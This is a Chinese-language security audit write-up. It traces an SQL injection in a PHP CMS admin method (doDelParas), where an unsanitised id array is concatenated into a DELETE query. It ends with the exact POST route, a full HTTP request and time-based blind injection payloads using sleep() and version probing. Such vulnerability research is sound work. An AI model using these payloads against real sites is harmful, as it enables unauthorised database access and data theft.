审计过程

  1. 首先来到⽂件 app\system\user\admin\parameter.class.php 下的 doDelParas 方法

image-20250207145012862

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function doDelParas()
{
global $_M;
if (!isset($_M['form']['id'])) {
$this->error();
}
$data = $_M['form']['id'];
$module = $this->module;
foreach ($data as $value) {
if (!$value) {
continue;
}

$this->database->del_by_id($value);
$this->database->delete_para_value($value);
}
//写日志
logs::addAdminLog('memberattribute', 'delete', 'jsok', 'doDelParas');
buffer::clearData($this->module, $_M['lang']);
$this->success('', $_M['word']['jsok']);
}
  • 数据流向
1
2
3
4
global $_M -->  
$data = $_M['form']['id'] -->
foreach ($data as $value) -->
$this->database->delete_para_value($value)

得出:表单的 id参数 被传递给了 delete_para_value ⽅ 法,跟进该⽅法的定义

  1. 来到了app/system/parameter/include/class/parameter_database.class.php文件, delete_para_value ⽅ 法的定义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
    public function delete_para_value($pid = '', $pids = array())
{
global $_M;
if (!empty($pids)) {
$paraid = implode(',', $pids);
$query = "DELETE FROM {$_M['table']['para']} WHERE id NOT IN ($paraid) AND pid = '{$pid}'";
return DB::query($query);
} else {
$query = "DELETE FROM {$_M['table']['para']} WHERE pid = '{$pid}'";
return DB::query($query);
}

}
}
  • 数据流向
1
2
3
4
5
$this->database->delete_para_value($value) -->
delete_para_value($pid = '', $pids = array()) -->
$paraid = implode(',', $pids); -->
$query = "DELETE FROM {$_M['table']['para']} WHERE id NOT IN ($paraid) AND pid = '{$pid}'" -->
return DB::query($query)

得出:database->delete_para_value接收到的$value也就是形参$pid,会被直接拼接到$query SQL语句中去 再到DB::query数据库操作类的query方法中执行,于是再跟进DB::query

  1. 来到app/system/include/class/sqlite.class.php,static query方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public static function query($sql)
{
if (strstr($sql, 'rand()')) {
$sql = str_replace('rand()', 'random()', $sql);
}
if (strstr($sql, 'char_length(')) {
$sql = str_replace('char_length(', 'length(', $sql);
}
$sql = self::escapeSqlite($sql);

if (strtoupper(substr($sql, 0, 6)) == 'INSERT') {
$sql = str_replace(array("\n", "\r"), '', $sql);
self::$link->exec('begin;');
preg_match('/insert\s+into\s+([`a-z0-9A-Z_]+)\s+set\s+(.*)/i', $sql, $match);

if (isset($match[1]) && isset($match[2]) && $match[2]) {
$list = array();
$table = trim($match[1], '`');
foreach (explode(',', $match[2]) as $val) {
if (!trim($val)) {
continue;
}

$param = explode('=', $val);
if (trim($param[0])) {
$list[trim($param[0])] = str_replace("'", '', trim($param[1]));
}
}

$row = self::insert($table, $list);

return $row;
}

$result = self::$link->exec($sql);
if (!$result) {
self::$link->exec('rollback;');

error($sql.self::$link->lastErrorMsg());
}
self::$link->exec('commit;');
if (!self::$link->lastInsertRowId()) {
error($sql.self::$link->lastErrorMsg());
}

return self::$link->lastInsertRowId();
}

if (strtoupper(substr($sql, 0, 6)) == 'UPDATE') {
self::$link->exec('begin;');
$result = self::$link->exec($sql);
if (!$result) {
self::$link->exec('rollback;');
}

return self::$link->exec('commit;');
}

if (strtoupper(substr($sql, 0, 12)) == 'CREATE TABLE') {
$sql = load::mod_class('databack/transfer', 'new')->mysqlToSqlite($sql);
}

$result = self::$link->query($sql);

return $result;
}

先是进行了一些预处理,可能是为了为了兼容 MySQL 和 SQLite,以及不同数据库

1
2
3
4
5
6
if (strstr($sql, 'rand()')) {
$sql = str_replace('rand()', 'random()', $sql);
}
if (strstr($sql, 'char_length(')) {
$sql = str_replace('char_length(', 'length(', $sql);
}
1
$sql = self::escapeSqlite($sql);

可能是过滤逻辑,跟进看看escapeSqlite静态方法的定义

  1. 来到app/system/include/class/sqlite.class.php
1
2
3
4
5
6
7
public function escapeSqlite($sql)
{
$sql = str_replace("\\'", "''", $sql);
$sql = str_replace('\\', '', $sql);

return $sql;
}

看来想多了,不是过滤逻辑,还是兼容处理

  1. 替换 \'''(SQLite 兼容的单引号)。
  2. 删除所有 \,防止 SQLite 解析错误。

这个方法是 DB::query($sql) 里的一部分,在 SQL 执行前自动修正 SQL 语句,确保兼容 SQLite。

  1. 继续回到app/system/include/class/sqlite.class.php,static query方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public static function query($sql)
{
if (strstr($sql, 'rand()')) {
$sql = str_replace('rand()', 'random()', $sql);
}
if (strstr($sql, 'char_length(')) {
$sql = str_replace('char_length(', 'length(', $sql);
}
$sql = self::escapeSqlite($sql);

if (strtoupper(substr($sql, 0, 6)) == 'INSERT') {
$sql = str_replace(array("\n", "\r"), '', $sql);
self::$link->exec('begin;');
preg_match('/insert\s+into\s+([`a-z0-9A-Z_]+)\s+set\s+(.*)/i', $sql, $match);

if (isset($match[1]) && isset($match[2]) && $match[2]) {
$list = array();
$table = trim($match[1], '`');
foreach (explode(',', $match[2]) as $val) {
if (!trim($val)) {
continue;
}

$param = explode('=', $val);
if (trim($param[0])) {
$list[trim($param[0])] = str_replace("'", '', trim($param[1]));
}
}

$row = self::insert($table, $list);

return $row;
}

$result = self::$link->exec($sql);
if (!$result) {
self::$link->exec('rollback;');

error($sql.self::$link->lastErrorMsg());
}
self::$link->exec('commit;');
if (!self::$link->lastInsertRowId()) {
error($sql.self::$link->lastErrorMsg());
}

return self::$link->lastInsertRowId();
}

if (strtoupper(substr($sql, 0, 6)) == 'UPDATE') {
self::$link->exec('begin;');
$result = self::$link->exec($sql);
if (!$result) {
self::$link->exec('rollback;');
}

return self::$link->exec('commit;');
}

if (strtoupper(substr($sql, 0, 12)) == 'CREATE TABLE') {
$sql = load::mod_class('databack/transfer', 'new')->mysqlToSqlite($sql);
}

$result = self::$link->query($sql);

return $result;
}

定义了query是INSERT语句时的一系列操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if (strtoupper(substr($sql, 0, 6)) == 'INSERT') {
$sql = str_replace(array("\n", "\r"), '', $sql);
self::$link->exec('begin;');
preg_match('/insert\s+into\s+([`a-z0-9A-Z_]+)\s+set\s+(.*)/i', $sql, $match);

if (isset($match[1]) && isset($match[2]) && $match[2]) {
$list = array();
$table = trim($match[1], '`');
foreach (explode(',', $match[2]) as $val) {
if (!trim($val)) {
continue;
}

$param = explode('=', $val);
if (trim($param[0])) {
$list[trim($param[0])] = str_replace("'", '', trim($param[1]));
}
}

$row = self::insert($table, $list);

return $row;
}

$result = self::$link->exec($sql);
if (!$result) {
self::$link->exec('rollback;');

error($sql.self::$link->lastErrorMsg());
}
self::$link->exec('commit;');
if (!self::$link->lastInsertRowId()) {
error($sql.self::$link->lastErrorMsg());
}

return self::$link->lastInsertRowId();
}

定义了query是UPDATE语句时的一系列操作

1
2
3
4
5
6
7
8
9
if (strtoupper(substr($sql, 0, 6)) == 'UPDATE') {
self::$link->exec('begin;');
$result = self::$link->exec($sql);
if (!$result) {
self::$link->exec('rollback;');
}

return self::$link->exec('commit;');
}

定义了query是CREATE语句时的一系列操作

1
2
3
if (strtoupper(substr($sql, 0, 12)) == 'CREATE TABLE') {
$sql = load::mod_class('databack/transfer', 'new')->mysqlToSqlite($sql);
}

然后再

1
$result = self::$link->query($sql);  

把SQL语句传入 self::$link 数据库连接对象进行执行!没有发现过滤操作,存在SQL注入!

构造触发

  1. 构造触发

最开始漏洞的入口在⽂件 app\system\user\admin\parameter.class.php 下的 doDelParas 方法

目录是admin,模块是user,parameter是控制器,doDelParas是方法,id是参数

构造路由如下:

1
POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1

构造payload,这里是盲注,那么我们用时间盲注延时一下看看效果,id要写成数组形式

1
id[]=164%20and%20if(1=1,sleep(5),0)

综上构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1
Host: xxxxx
Content-Length: 60
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: xxx
Referer: xxx
Connection: close
Cookie: xxx

id[]=164%20and%20if(1=1,sleep(5),0)

复现

1
id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)

image-20250207174809098